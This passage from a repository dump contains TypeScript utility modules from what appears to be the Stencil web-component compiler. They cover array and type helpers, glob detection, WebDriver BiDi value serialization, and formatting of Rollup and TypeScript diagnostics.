src\\utils\\util.ts\n */\nexport const escapeWithPattern = (\n  text: string,\n  pattern: RegExp | string,\n  replacement: string,\n  replaceAll: boolean = true,\n): string => {\n  let regex: RegExp;\n\n  if (typeof pattern === 'string') {\n    const escaped = pattern.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&');\n    regex = new RegExp(escaped, replaceAll ? 'g' : '');\n  } else {\n    const flags = pattern.flags;\n    const hasG = flags.includes('g');\n    const newFlags = replaceAll ? (hasG ? flags : flags + 'g') : hasG ? flags.replace(/g/g, '') : flags;\n    regex = new RegExp(pattern.source, newFlags);\n  }\n\n  return text.replace(regex, replacement);\n};\n\n/**\n * This is just a no-op, don't expect it to do anything.\n */\nexport const noop = (): any => {\n  /* noop*/\n};\n\n/**\n * Check whether a value is a 'complex type', defined here as an object or a\n * function.\n *\n * @param o the value to check\n * @returns whether it's a complex type or not\n */\nexport const isComplexType = (o: unknown): boolean => {\n  // https://jsperf.com/typeof-fn-object/5\n  o = typeof o;\n  return o === 'object' || o === 'function';\n};\n\n/**\n * Sort an array without mutating it in-place (as `Array.prototype.sort`\n * unfortunately does)\n *\n * @param array the array you'd like to sort\n * @param prop a function for deriving sortable values (strings or numbers)\n * from array members\n * @returns a new array of all items `x` in `array` ordered by `prop(x)`\n */\nexport const sortBy = <T>(array: T[], prop: (item: T) => string | number): T[] => {\n  return array.slice().sort((a, b) => {\n    const nameA = prop(a);\n    const nameB = prop(b);\n    if (nameA < nameB) return -1;\n    if (nameA > nameB) return 1;\n    return 0;\n  });\n};\n\n/**\n * A polyfill of sorts for `Array.prototype.flat` which will return the result\n * of calling that method if present and, if not, return an equivalent based on\n * `Array.prototype.reduce`.\n *\n * @param array the array to flatten (one level)\n * @returns a flattened array\n */\nexport const flatOne = <T>(array: T[][]): T[] => {\n  if (array.flat) {\n    return array.flat(1);\n  }\n  return array.reduce((result, item) => {\n    result.push(...item);\n    return result;\n  }, [] as T[]);\n};\n\n/**\n * Deduplicate an array, retaining items at the earliest position in which\n * they appear.\n *\n * So `unique([1,3,2,1,1,4])` would be `[1,3,2,4]`.\n *\n * @param array the array to deduplicate\n * @param predicate an optional function used to generate the key used to\n * determine uniqueness\n * @returns a new, deduplicated array\n */\nexport const unique = <T, K>(array: T[], predicate: (item: T) => K = (i) => i as any): T[] => {\n  const set = new Set();\n  return array.filter((item) => {\n    const key = predicate(item);\n    if (key == null) {\n      return true;\n    }\n    if (set.has(key)) {\n      return false;\n    }\n    set.add(key);\n    return true;\n  });\n};\n\n/**\n * Merge elements of an array into an existing array, using a predicate to\n * determine uniqueness and only adding elements when they are not present in\n * the first array.\n *\n * **Note**: this mutates the target array! This is intentional to avoid\n * unnecessary array allocation, but be sure that it's what you want!\n *\n * @param target the target array, to which new unique items should be added\n * @param newItems a list of new items, some (or all!) of which may be added\n * @param mergeWith a predicate function which reduces the items in `target`\n * and `newItems` to a value which can be equated with `===` for the purposes\n * of determining uniqueness\n */\nexport function mergeIntoWith<T1, T2>(target: T1[], newItems: T1[], mergeWith: (item: T1) => T2) {\n  for (const item of newItems) {\n    const maybeItem = target.find((existingItem) => mergeWith(existingItem) === mergeWith(item));\n    if (!maybeItem) {\n      // this is a new item that isn't present in `target` yet\n      target.push(item);\n    }\n  }\n}\n\n/**\n * A utility for building an object from an iterable very similar to\n * `Object.fromEntries`\n *\n * @param entries an iterable object holding entries (key-value tuples) to\n * plop into a new object\n * @returns an object containing those entries\n */\nexport const fromEntries = <V>(entries: IterableIterator<[string, V]>) => {\n  const object: Record<string, V> = {};\n  for (const [key, value] of entries) {\n    object[key] = value;\n  }\n  return object;\n};\n\n/**\n * Based on a given object, create a new object which has only the specified\n * key-value pairs included in it.\n *\n * @param obj the object from which to take values\n * @param keys a set of keys to take\n * @returns an object mapping `key` to `obj[key]` if `obj[key]` is truthy for\n * every `key` in `keys`\n */\nexport const pluck = (obj: { [key: string]: any }, keys: string[]) => {\n  return keys.reduce(\n    (final, key) => {\n      if (obj[key]) {\n        final[key] = obj[key];\n      }\n      return final;\n    },\n    {} as { [key: string]: any },\n  );\n};\n\nconst isDefined = (v: any): v is NonNullable<typeof v> => v !== null && v !== undefined;\nexport const isBoolean = (v: any): v is boolean => typeof v === 'boolean';\nexport const isFunction = (v: any): v is Function => typeof v === 'function';\nexport const isNumber = (v: any): v is number => typeof v === 'number';\nexport const isObject = (val: Object): val is Object =>\n  val != null && typeof val === 'object' && Array.isArray(val) === false;\nexport const isString = (v: any): v is string => typeof v === 'string';\nexport const isIterable = <T>(v: any): v is Iterable<T> => isDefined(v) && isFunction(v[Symbol.iterator]);\n"
  },
  {
    "path": "src/utils/index.ts",
    "content": "export * from './byte-size';\nexport * from './constants';\nexport * from './format-component-runtime-meta';\nexport * from './helpers';\nexport * from './is-glob';\nexport * from './is-root-path';\nexport * from './local-value';\nexport * from './logger/logger-rollup';\nexport * from './logger/logger-typescript';\nexport * from './logger/logger-utils';\nexport * from './message-utils';\nexport * from './output-target';\nexport * from './path';\nexport * from './query-nonce-meta-tag-content';\nexport * from './regular-expression';\nexport * from './remote-value';\nexport * as result from './result';\nexport * from './serialize';\nexport * from './shadow-root';\nexport * from './sourcemaps';\nexport * from './types';\nexport * from './url-paths';\nexport * from './util';\nexport * from './validation';\n"
  },
  {
    "path": "src/utils/is-glob.ts",
    "content": "/**\n * Check if a string is a glob pattern (e.g. 'src/*.js' or something like that)\n *\n * @param str a string to check\n * @returns whether the string is a glob pattern or not\n */\nexport const isGlob = (str: string): boolean => {\n  const chars: Record<string, string> = { '{': '}', '(': ')', '[': ']' };\n  /* eslint-disable-next-line max-len */\n  const regex = /\\\\(.)|(^!|\\*|[\\].+)]\\?|\\[[^\\\\\\]]+\\]|\\{[^\\\\}]+\\}|\\(\\?[:!=][^\\\\)]+\\)|\\([^|]+\\|[^\\\\)]+\\))/;\n\n  if (str === '') {\n    return false;\n  }\n\n  let match: RegExpExecArray | null;\n\n  while ((match = regex.exec(str))) {\n    if (match[2]) return true;\n    let idx = match.index + match[0].length;\n\n    // if an open bracket/brace/paren is escaped,\n    // set the index to the next closing character\n    const open = match[1];\n    const close = open ? chars[open] : null;\n    if (open && close) {\n      const n = str.indexOf(close, idx);\n      if (n !== -1) {\n        idx = n + 1;\n      }\n    }\n\n    str = str.slice(idx);\n  }\n\n  return false;\n};\n"
  },
  {
    "path": "src/utils/is-root-path.ts",
    "content": "/**\n * Checks if the path is the Operating System (OS) root path, such as \"/\" or \"C:\\\". This function does not take the OS\n * the code is running on into account when performing this evaluation.\n * @param p the path to check\n * @returns `true` if the path is an OS root path, `false` otherwise\n */\nexport const isRootPath = (p: string) => p === '/' || windowsPathRegex.test(p);\n\n// https://github.com/nodejs/node/blob/5883a59b21a97e8b7339f435c977155a2c29ba8d/lib/path.js#L43\nconst windowsPathRegex = /^(?:[a-zA-Z]:|[\\\\/]{2}[^\\\\/]+[\\\\/]+[^\\\\/]+)?[\\\\/]$/;\n"
  },
  {
    "path": "src/utils/local-value.ts",
    "content": "import { NonPrimitiveType, PrimitiveType, TYPE_CONSTANT, VALUE_CONSTANT } from './constants';\nimport type { LocalValueParam, ScriptLocalValue, Serializeable } from './types';\n\n/**\n * Represents a local value with a specified type and optional value.\n * Described in https://w3c.github.io/webdriver-bidi/#type-script-LocalValue\n * @deprecated will be removed in v5. Use `@AttrDeserialize()` / `@PropDeserialize()` decorators instead.\n */\nexport class LocalValue {\n  type: PrimitiveType | NonPrimitiveType;\n  value?: Serializeable | Serializeable[] | [Serializeable, Serializeable][];\n\n  constructor(type: PrimitiveType | NonPrimitiveType, value?: LocalValueParam) {\n    if (type === PrimitiveType.Undefined || type === PrimitiveType.Null) {\n      this.type = type;\n    } else {\n      this.type = type;\n      this.value = value;\n    }\n  }\n\n  /**\n   * Creates a new LocalValue object with a string value.\n   *\n   * @param {string} value - The string value to be stored in the LocalValue object.\n   * @returns {LocalValue} - The created LocalValue object.\n   */\n  static createStringValue(value: string) {\n    return new LocalValue(PrimitiveType.String, value);\n  }\n\n  /**\n   * Creates a new LocalValue object with a number value.\n   *\n   * @param {number} value - The number value.\n   * @returns {LocalValue} - The created LocalValue object.\n   */\n  static createNumberValue(value: number) {\n    return new LocalValue(PrimitiveType.Number, value);\n  }\n\n  /**\n   * Creates a new LocalValue object with a special number value.\n   *\n   * @param {number} value - The value of the special number.\n   * @returns {LocalValue} - The created LocalValue object.\n   */\n  static createSpecialNumberValue(value: number) {\n    if (Number.isNaN(value)) {\n      return new LocalValue(PrimitiveType.SpecialNumber, 'NaN');\n    }\n    if (Object.is(value, -0)) {\n      return new LocalValue(PrimitiveType.SpecialNumber, '-0');\n    }\n    if (value === Infinity) {\n      return new LocalValue(PrimitiveType.SpecialNumber, 'Infinity');\n    }\n    if (value === -Infinity) {\n      return new LocalValue(PrimitiveType.SpecialNumber, '-Infinity');\n    }\n    return new LocalValue(PrimitiveType.SpecialNumber, value);\n  }\n\n  /**\n   * Creates a new LocalValue object with an undefined value.\n   * @returns {LocalValue} - The created LocalValue object.\n   */\n  static createUndefinedValue() {\n    return new LocalValue(PrimitiveType.Undefined);\n  }\n\n  /**\n   * Creates a new LocalValue object with a null value.\n   * @returns {LocalValue} - The created LocalValue object.\n   */\n  static createNullValue() {\n    return new LocalValue(PrimitiveType.Null);\n  }\n\n  /**\n   * Creates a new LocalValue object with a boolean value.\n   *\n   * @param {boolean} value - The boolean value.\n   * @returns {LocalValue} - The created LocalValue object.\n   */\n  static createBooleanValue(value: boolean) {\n    return new LocalValue(PrimitiveType.Boolean, value);\n  }\n\n  /**\n   * Creates a new LocalValue object with a BigInt value.\n   *\n   * @param {BigInt} value - The BigInt value.\n   * @returns {LocalValue} - The created LocalValue object.\n   */\n  static createBigIntValue(value: bigint) {\n    return new LocalValue(PrimitiveType.BigInt, value.toString());\n  }\n\n  /**\n   * Creates a new LocalValue object with an array.\n   *\n   * @param {Array} value - The array.\n   * @returns {LocalValue} - The created LocalValue object.\n   */\n  static createArrayValue(value: Array<unknown>) {\n    return new LocalValue(NonPrimitiveType.Array, value);\n  }\n\n  /**\n   * Creates a new LocalValue object with date value.\n   *\n   * @param {string} value - The date.\n   * @returns {LocalValue} - The created LocalValue object.\n   */\n  static createDateValue(value: Date) {\n    return new LocalValue(NonPrimitiveType.Date, value);\n  }\n\n  /**\n   * Creates a new LocalValue object of map value.\n   * @param {Map} map - The map.\n   * @returns {LocalValue} - The created LocalValue object.\n   */\n  static createMapValue(map: Map<unknown, unknown>) {\n    const value: [Serializeable, Serializeable][] = [];\n    Array.from(map.entries()).forEach(([key, val]) => {\n      value.push([LocalValue.getArgument(key), LocalValue.getArgument(val)]);\n    });\n    return new LocalValue(NonPrimitiveType.Map, value);\n  }\n\n  /**\n   * Creates a new LocalValue object from the passed object.\n   *\n   * @param object the object to create a LocalValue from\n   * @returns {LocalValue} - The created LocalValue object.\n   */\n  static createObjectValue(object: Record<string | number | symbol, unknown>) {\n    const value: [Serializeable, Serializeable][] = [];\n    Object.entries(object).forEach(([key, val]) => {\n      value.push([key, LocalValue.getArgument(val)]);\n    });\n    return new LocalValue(NonPrimitiveType.Object, value);\n  }\n\n  /**\n   * Creates a new LocalValue object of regular expression value.\n   *\n   * @param {string} value - The value of the regular expression.\n   * @returns {LocalValue} - The created LocalValue object.\n   */\n  static createRegularExpressionValue(value: { pattern: string; flags: string }) {\n    return new LocalValue(NonPrimitiveType.RegularExpression, value);\n  }\n\n  /**\n   * Creates a new LocalValue object with the specified value.\n   * @param {Set} value - The value to be set.\n   * @returns {LocalValue} - The created LocalValue object.\n   */\n  static createSetValue(value: ([unknown, unknown] | LocalValue)[]) {\n    return new LocalValue(NonPrimitiveType.Set, value);\n  }\n\n  /**\n   * Creates a new LocalValue object with the given channel value\n   *\n   * @param {ChannelValue} value - The channel value.\n   * @returns {LocalValue} - The created LocalValue object.\n   */\n  static createChannelValue(value: unknown) {\n    return new LocalValue(NonPrimitiveType.Channel, value);\n  }\n\n  /**\n   * Creates a new LocalValue object with a Symbol value.\n   *\n   * @param {Symbol} symbol - The Symbol value\n   * @returns {LocalValue} - The created LocalValue object\n   */\n  static createSymbolValue(symbol: Symbol) {\n    // Store the symbol description or 'Symbol()' if undefined\n    const description = symbol.description || 'Symbol()';\n    return new LocalValue(NonPrimitiveType.Symbol, description);\n  }\n\n  static getArgument(argument: unknown) {\n    const type = typeof argument;\n    switch (type) {\n      case PrimitiveType.String:\n        return LocalValue.createStringValue(argument as string);\n      case PrimitiveType.Number:\n        if (Number.isNaN(argument) || Object.is(argument, -0) || !Number.isFinite(argument)) {\n          return LocalValue.createSpecialNumberValue(argument as number);\n        }\n\n        return LocalValue.createNumberValue(argument as number);\n      case PrimitiveType.Boolean:\n        return LocalValue.createBooleanValue(argument as boolean);\n      case PrimitiveType.BigInt:\n        return LocalValue.createBigIntValue(argument as bigint);\n      case PrimitiveType.Undefined:\n        return LocalValue.createUndefinedValue();\n      case NonPrimitiveType.Symbol:\n        return LocalValue.createSymbolValue(argument as Symbol);\n      case NonPrimitiveType.Object:\n        if (argument === null) {\n          return LocalValue.createNullValue();\n        }\n        if (argument instanceof Date) {\n          return LocalValue.createDateValue(argument);\n        }\n        if (argument instanceof Map) {\n          const map: ([unknown, unknown] | LocalValue)[] = [];\n\n          argument.forEach((value, key) => {\n            const objectKey = typeof key === 'string' ? key : LocalValue.getArgument(key);\n            const objectValue = LocalValue.getArgument(value);\n            map.push([objectKey, objectValue]);\n          });\n          return LocalValue.createMapValue(argument as Map<unknown, unknown>);\n        }\n        if (argument instanceof Set) {\n          const set: LocalValue[] = [];\n          argument.forEach((value) => {\n            set.push(LocalValue.getArgument(value));\n          });\n          return LocalValue.createSetValue(set);\n        }\n        if (argument instanceof Array) {\n          const arr: LocalValue[] = [];\n          argument.forEach((value) => {\n            arr.push(LocalValue.getArgument(value));\n          });\n          return LocalValue.createArrayValue(arr);\n        }\n        if (argument instanceof RegExp) {\n          return LocalValue.createRegularExpressionValue({\n            pattern: argument.source,\n            flags: argument.flags,\n          });\n        }\n\n        return LocalValue.createObjectValue(argument as Record<string | number | symbol, unknown>);\n    }\n\n    throw new Error(`Unsupported type: ${type}`);\n  }\n\n  asMap() {\n    return {\n      [TYPE_CONSTANT]: this.type,\n      ...(!(this.type === PrimitiveType.Null || this.type === PrimitiveType.Undefined)\n        ? { [VALUE_CONSTANT]: this.value }\n        : {}),\n    } as ScriptLocalValue;\n  }\n}\n"
  },
  {
    "path": "src/utils/logger/logger-rollup.ts",
    "content": "import type { RollupError } from 'rollup';\n\nimport type * as d from '../../declarations';\nimport { isString, toTitleCase } from '../helpers';\nimport { buildWarn } from '../message-utils';\nimport { splitLineBreaks } from './logger-utils';\n\nexport const loadRollupDiagnostics = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  rollupError: RollupError,\n) => {\n  const formattedCode = formatErrorCode(rollupError.code);\n\n  const diagnostic: d.Diagnostic = {\n    level: 'error',\n    type: 'bundling',\n    language: 'javascript',\n    code: rollupError.code,\n    header: `Rollup${formattedCode.length > 0 ? ': ' + formattedCode : ''}`,\n    messageText: formattedCode,\n    relFilePath: undefined,\n    absFilePath: undefined,\n    lines: [],\n  };\n\n  if (config.logLevel === 'debug' && rollupError.stack) {\n    diagnostic.messageText = rollupError.stack;\n  } else if (rollupError.message) {\n    diagnostic.messageText = rollupError.message;\n  }\n\n  if (rollupError.plugin) {\n    diagnostic.messageText += ` (plugin: ${rollupError.plugin}${rollupError.hook ? `, ${rollupError.hook}` : ''})`;\n  }\n\n  const loc = rollupError.loc;\n  if (loc != null) {\n    const srcFile = loc.file || rollupError.id;\n    if (isString(srcFile)) {\n      try {\n        const sourceText = compilerCtx.fs.readFileSync(srcFile);\n        if (sourceText) {\n          diagnostic.absFilePath = srcFile;\n\n          try {\n            const srcLines = splitLineBreaks(sourceText);\n\n            const errorLine = {\n              lineIndex: loc.line - 1,\n              lineNumber: loc.line,\n              text: srcLines[loc.line - 1],\n              errorCharStart: loc.column,\n              errorLength: 0,\n            } satisfies d.PrintLine;\n\n            diagnostic.lineNumber = errorLine.lineNumber;\n            diagnostic.columnNumber = errorLine.errorCharStart;\n\n            const highlightLine = errorLine.text?.slice(loc.column) ?? '';\n            for (let i = 0; i < highlightLine.length; i++) {\n              if (charBreak.has(highlightLine.charAt(i))) {\n                break;\n              }\n              errorLine.errorLength++;\n            }\n\n            diagnostic.lines.push(errorLine);\n\n            if (errorLine.errorLength === 0 && errorLine.errorCharStart > 0) {\n              errorLine.errorLength = 1;\n              errorLine.errorCharStart--;\n            }\n\n            if (errorLine.lineIndex > 0) {\n              const previousLine: d.PrintLine = {\n                lineIndex: errorLine.lineIndex - 1,\n                lineNumber: errorLine.lineNumber - 1,\n                text: srcLines[errorLine.lineIndex - 1],\n                errorCharStart: -1,\n                errorLength: -1,\n              };\n\n              diagnostic.lines.unshift(previousLine);\n            }\n\n            if (errorLine.lineIndex + 1 < srcLines.length) {\n              const nextLine: d.PrintLine = {\n                lineIndex: errorLine.lineIndex + 1,\n                lineNumber: errorLine.lineNumber + 1,\n                text: srcLines[errorLine.lineIndex + 1],\n                errorCharStart: -1,\n                errorLength: -1,\n              };\n\n              diagnostic.lines.push(nextLine);\n            }\n          } catch (e) {\n            diagnostic.messageText += `\\nError parsing: ${diagnostic.absFilePath}, line: ${loc.line}, column: ${loc.column}`;\n            diagnostic.debugText = sourceText;\n          }\n        } else if (typeof rollupError.frame === 'string') {\n          diagnostic.messageText += '\\n' + rollupError.frame;\n        }\n      } catch (e) {}\n    }\n  }\n\n  buildCtx.diagnostics.push(diagnostic);\n};\n\nexport const createOnWarnFn = (diagnostics: d.Diagnostic[], bundleModulesFiles?: d.Module[]) => {\n  const previousWarns = new Set<string>();\n\n  return function onWarningMessage(warning: { code?: string; importer?: string; message?: string }) {\n    if (\n      warning == null ||\n      (warning.code && ignoreWarnCodes.has(warning.code)) ||\n      (warning.message && previousWarns.has(warning.message))\n    ) {\n      return;\n    }\n\n    if (warning.message) {\n      previousWarns.add(warning.message);\n    }\n\n    let label = '';\n    if (bundleModulesFiles) {\n      label = bundleModulesFiles\n        .reduce((cmps, m) => {\n          cmps.push(...m.cmps);\n          return cmps;\n        }, [] as d.ComponentCompilerMeta[])\n        .join(', ')\n        .trim();\n\n      if (label.length) {\n        label += ': ';\n      }\n    }\n\n    const diagnostic = buildWarn(diagnostics);\n    diagnostic.header = `Bundling Warning ${warning.code}`;\n    diagnostic.messageText = label + (warning.message || warning);\n  };\n};\n\nconst ignoreWarnCodes = new Set([\n  'THIS_IS_UNDEFINED',\n  'NON_EXISTENT_EXPORT',\n  'CIRCULAR_DEPENDENCY',\n  'EMPTY_BUNDLE',\n  'UNUSED_EXTERNAL_IMPORT',\n]);\n\nconst charBreak = new Set([' ', '=', '.', ',', '?', ':', ';', '(', ')', '{', '}', '[', ']', '|', `'`, `\"`, '`']);\n\nconst formatErrorCode = (errorCode: any) => {\n  if (typeof errorCode === 'string') {\n    return errorCode\n      .split('_')\n      .map((c) => {\n        return toTitleCase(c.toLowerCase());\n      })\n      .join(' ');\n  }\n  return (errorCode || '').trim();\n};\n"
  },
  {
    "path": "src/utils/logger/logger-typescript.ts",
    "content": "import type { Diagnostic, DiagnosticMessageChain, Node } from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { isIterable } from '../helpers';\nimport { normalizePath } from '../path';\nimport { splitLineBreaks } from './logger-utils';\n\n/**\n * Augment a `Diagnostic` with information from a `Node` in the AST to provide richer error information\n * @param d the diagnostic to augment\n * @param node the node to augment with additional information\n * @returns the augmented diagnostic\n */\nexport const augmentDiagnosticWithNode = (d: d.Diagnostic, node: Node): d.Diagnostic => {\n  if (!node) {\n    return d;\n  }\n\n  const sourceFile = node.getSourceFile();\n  if (!sourceFile) {\n    return d;\n  }\n\n  d.absFilePath = normalizePath(sourceFile.fileName);\n\n  const sourceText = sourceFile.text;\n  const srcLines = splitLineBreaks(sourceText);\n\n  const start = node.getStart();\n  const end = node.getEnd();\n  const posStart = sourceFile.getLineAndCharacterOfPosition(start);\n\n  const errorLine: d.PrintLine = {\n    lineIndex: posStart.line,\n    lineNumber: posStart.line + 1,\n    text: srcLines[posStart.line],\n    errorCharStart: posStart.character,\n    errorLength: Math.max(end - start, 1),\n  };\n  // store metadata for line number and character index where the error occurred\n  d.lineNumber = errorLine.lineNumber;\n  d.columnNumber = errorLine.errorCharStart + 1;\n  d.lines.push(errorLine);\n  if (errorLine.errorLength === 0 && errorLine.errorCharStart > 0) {\n    errorLine.errorLength = 1;\n    errorLine.errorCharStart--;\n  }\n\n  // if the error did not occur on the first line of the file, add metadata for the line of code preceding the line\n  // where the error was detected to provide the user with additional context\n  if (errorLine.lineIndex > 0) {\n    const previousLine: d.PrintLine = {\n      lineIndex: errorLine.lineIndex - 1,\n      lineNumber: errorLine.lineNumber - 1,\n      text: srcLines[errorLine.lineIndex - 1],\n      errorCharStart: -1,\n      errorLength: -1,\n    };\n\n    d.lines.unshift(previousLine);\n  }\n\n  // if the error did not occur on the last line of the file, add metadata for the line of code following the line\n  // where the error was detected to provide the user with additional context\n  if (errorLine.lineIndex + 1 < srcLines.length) {\n    const nextLine: d.PrintLine = {\n      lineIndex: errorLine.lineIndex + 1,\n      lineNumber: errorLine.lineNumber + 1,\n      text: srcLines[errorLine.lineIndex + 1],\n      errorCharStart: -1,\n      errorLength: -1,\n    };\n\n    d.lines.push(nextLine);\n  }\n\n  return d;\n};\n\n/**\n * Ok, so formatting overkill, we know. But whatever, it makes for great\n * error reporting within a terminal. So, yeah, let's code it up, shall we?\n */\n\nexport const loadTypeScriptDiagnostics = (tsDiagnostics: readonly Diagnostic[]) => {\n  const diagnostics: d.Diagnostic[] = [];\n  const maxErrors = Math.min(tsDiagnostics.length, 50);\n\n  for (let i = 0; i < maxErrors; i++) {\n    diagnostics.push(loadTypeScriptDiagnostic(tsDiagnostics[i]));\n  }\n\n  return diagnostics;\n};\n\n/**\n * Convert a TypeScript diagnostic object into our internal, Stencil-specific\n * diagnostic format\n *\n * @param tsDiagnostic a TypeScript diagnostic message record\n * @returns a Stencil diagnostic, suitable for showing an error to the user\n */\nexport const loadTypeScriptDiagnostic = (tsDiagnostic: Diagnostic): d.Diagnostic => {\n  const d: d.Diagnostic = {\n    absFilePath: undefined,\n    code: tsDiagnostic.code.toString(),\n    columnNumber: undefined,\n    header: 'TypeScript',\n    language: 'typescript',\n    level: 'warn',\n    lineNumber: undefined,\n    lines: [],\n    messageText: flattenDiagnosticMessageText(tsDiagnostic, tsDiagnostic.messageText),\n    relFilePath: undefined,\n    type: 'typescript',\n  };\n\n  if (tsDiagnostic.category === 1) {\n    d.level = 'error';\n  }\n\n  if (tsDiagnostic.file && typeof tsDiagnostic.start === 'number') {\n    d.absFilePath = tsDiagnostic.file.fileName;\n\n    const sourceText = tsDiagnostic.file.text;\n    const srcLines = splitLineBreaks(sourceText);\n\n    const posData = tsDiagnostic.file.getLineAndCharacterOfPosition(tsDiagnostic.start);\n\n    const errorLine: d.PrintLine = {\n      lineIndex: posData.line,\n      lineNumber: posData.line + 1,\n      text: srcLines[posData.line],\n      errorCharStart: posData.character,\n      errorLength: Math.max(tsDiagnostic.length ?? 0, 1),\n    };\n\n    d.lineNumber = errorLine.lineNumber;\n    d.columnNumber = errorLine.errorCharStart + 1;\n\n    d.lines.push(errorLine);\n\n    if (errorLine.errorLength === 0 && errorLine.errorCharStart > 0) {\n      errorLine.errorLength = 1;\n      errorLine.errorCharStart--;\n    }\n\n    if (errorLine.lineIndex > 0) {\n      const previousLine: d.PrintLine = {\n        lineIndex: errorLine.lineIndex - 1,\n        lineNumber: errorLine.lineNumber - 1,\n        text: srcLines[errorLine.lineIndex - 1],\n        errorCharStart: -1,\n        errorLength: -1,\n      };\n\n      d.lines.unshift(previousLine);\n    }\n\n    if (errorLine.lineIndex + 1 < srcLines.length) {\n      const nextLine: d.PrintLine = {\n        lineIndex: errorLine.lineIndex + 1,\n        lineNumber: errorLine.lineNumber + 1,\n        text: srcLines[errorLine.lineIndex + 1],\n        errorCharStart: -1,\n        errorLength: -1,\n      };\n\n      d.lines.push(nextLine);\n    }\n  }\n\n  return d;\n};\n\n/**\n * Flatten a TypeScript diagnostic object into a string which can be easily\n * included in a Stencil diagnostic record.\n *\n * @param tsDiagnostic a TypeScript diagnostic record\n * @param diag a {@link DiagnosticMessageChain} or a string with further info\n * @returns a string with the relevant error message\n */\nconst flattenDiagnosticMessageText = (\n  tsDiagnostic: Diagnostic,\n  diag: string | DiagnosticMessageChain | undefined,\n): string => {\n  if (typeof diag === 'string') {\n    return diag;\n  } else if (diag === undefined) {\n    return '';\n  }\n\n  const ignoreCodes: number[] = [];\n  // `tsDiagnostic.file` can be `undefined`, so we need to be a little careful here\n  const isStencilConfig = (tsDiagnostic.file?.fileName ?? '').includes('stencil.config');\n  if (isStencilConfig) {\n    ignoreCodes.push(2322);\n  }\n\n  let result = '';\n  if (!ignoreCodes.includes(diag.code)) {\n    result = diag.messageText;\n    if (isIterable(diag.next)) {\n      for (const kid of diag.next) {\n        result += flattenDiagnosticMessageText(tsDiagnostic, kid);\n      }\n    }\n  }\n\n  if (isStencilConfig) {\n    result = result.replace(`type 'StencilConfig'`, `Stencil Config`);\n    result = result.replace(`Object literal may only specify known properties, but `, ``);\n    result = result.replace(`Object literal may only specify known properties, and `, ``);\n  }\n\n  return result.trim();\n};\n"
  },
  {
    "path": "src/utils/logger/logger-utils.ts",
    "content": "import type * as d from '../../declarations';\n\n/**\n * Iterate through a series of diagnostics to provide minor fix-ups for various edge cases, deduplicate messages, etc.\n * @param compilerCtx the current compiler context\n * @param diagnostics the diagnostics to normalize\n * @returns the normalize documents\n */\nexport const normalizeDiagnostics = (compilerCtx: d.CompilerCtx, diagnostics: d.Diagnostic[]): d.Diagnostic[] => {\n  const maxErrorsToNormalize = 25;\n  const normalizedErrors: d.Diagnostic[] = [];\n  const normalizedOthers: d.Diagnostic[] = [];\n  const dups = new Set<string>();\n\n  for (let i = 0; i < diagnostics.length; i++) {\n    const diagnostic = normalizeDiagnostic(compilerCtx, diagnostics[i]);\n\n    const key = (diagnostic.absFilePath ?? '') + (diagnostic.code ?? '') + diagnostic.messageText + diagnostic.type;\n    if (dups.has(key)) {\n      continue;\n    }\n    dups.add(key);\n\n    const total = normalizedErrors.length + normalizedOthers.length;\n    if (diagnostic.level === 'error') {\n      normalizedErrors.push(diagnostic);\n    } else if (total < maxErrorsToNormalize) {\n      normalizedOthers.push(diagnostic);\n    }\n  }\n\n  return [...normalizedErrors, ...normalizedOthers];\n};\n\n/**\n * Perform post-processing on a `Diagnostic` to handle a few message edge cases, massaging error message text and\n * updating build failure contexts\n * @param compilerCtx the current compiler\n * @param diagnostic the diagnostic to normalize\n * @returns the altered diagnostic\n */\nconst normalizeDiagnostic = (compilerCtx: d.CompilerCtx, diagnostic: d.Diagnostic): d.Diagnostic => {\n  if (diagnostic.messageText) {\n    if (typeof (<any>diagnostic.messageText).message === 'string') {\n      diagnostic.messageText = (<any>diagnostic.messageText).message;\n    } else if (typeof diagnostic.messageText === 'string' && diagnostic.messageText.indexOf('Error: ') === 0) {\n      diagnostic.messageText = diagnostic.messageText.slice(7);\n    }\n  }\n\n  if (diagnostic.messageText) {\n    if (diagnostic.messageText.includes(`Cannot find name 'h'`)) {\n      diagnostic.header = `Missing \"h\" import for JSX types`;\n      diagnostic.messageText = `In order to load accurate JSX types for components, the \"h\" function must be imported from \"@stencil/core\" by each component using JSX. For example: import { Component, h } from '@stencil/core';`;\n\n      if (diagnostic.absFilePath) {\n        try {\n          const sourceText = compilerCtx.fs.readFileSync(diagnostic.absFilePath);\n          const srcLines = splitLineBreaks(sourceText);\n          for (let i = 0; i < srcLines.length; i++) {\n            const srcLine = srcLines[i];\n            if (srcLine.includes('@stencil/core')) {\n              const msgLines: d.PrintLine[] = [];\n\n              const beforeLineIndex = i - 1;\n              if (beforeLineIndex > -1) {\n                const beforeLine: d.PrintLine = {\n                  lineIndex: beforeLineIndex,\n                  lineNumber: beforeLineIndex + 1,\n                  text: srcLines[beforeLineIndex],\n                  errorCharStart: -1,\n                  errorLength: -1,\n                };\n                msgLines.push(beforeLine);\n              }\n\n              const errorLine: d.PrintLine = {\n                lineIndex: i,\n                lineNumber: i + 1,\n                text: srcLine,\n                errorCharStart: 0,\n                errorLength: -1,\n              };\n              msgLines.push(errorLine);\n              diagnostic.lineNumber = errorLine.lineNumber;\n              diagnostic.columnNumber = srcLine.indexOf('}');\n\n              const afterLineIndex = i + 1;\n              if (afterLineIndex < srcLines.length) {\n                const afterLine: d.PrintLine = {\n                  lineIndex: afterLineIndex,\n                  lineNumber: afterLineIndex + 1,\n                  text: srcLines[afterLineIndex],\n                  errorCharStart: -1,\n                  errorLength: -1,\n                };\n                msgLines.push(afterLine);\n              }\n\n              diagnostic.lines = msgLines;\n              break;\n            }\n          }\n        } catch (e) {}\n      }\n    }\n  }\n\n  return diagnostic;\n};\n\n/**\n * Split a corpus by newlines. Carriage returns are treated a newlines.\n * @param sourceText the corpus to split\n * @returns the split text\n */\nexport const splitLineBreaks = (sourceText: string): ReadonlyArray<string> => {\n  if (typeof sourceText !== 'string') return [];\n  sourceText = sourceText.replace(/\\\\r/g, '\\n');\n  return sourceText.split('\\n');\n};\n\nexport const escapeHtml = (unsafe: any) => {\n  if (unsafe === undefined) return 'undefined';\n  if (unsafe === null) return 'null';\n\n  if (typeof unsafe !== 'string') {\n    unsafe = unsafe.toString();\n  }\n\n  return unsafe\n    .replace(/&/g, '&amp;')\n    .replace(/</g, '&lt;')\n    .replace(/>/g, '&gt;')\n    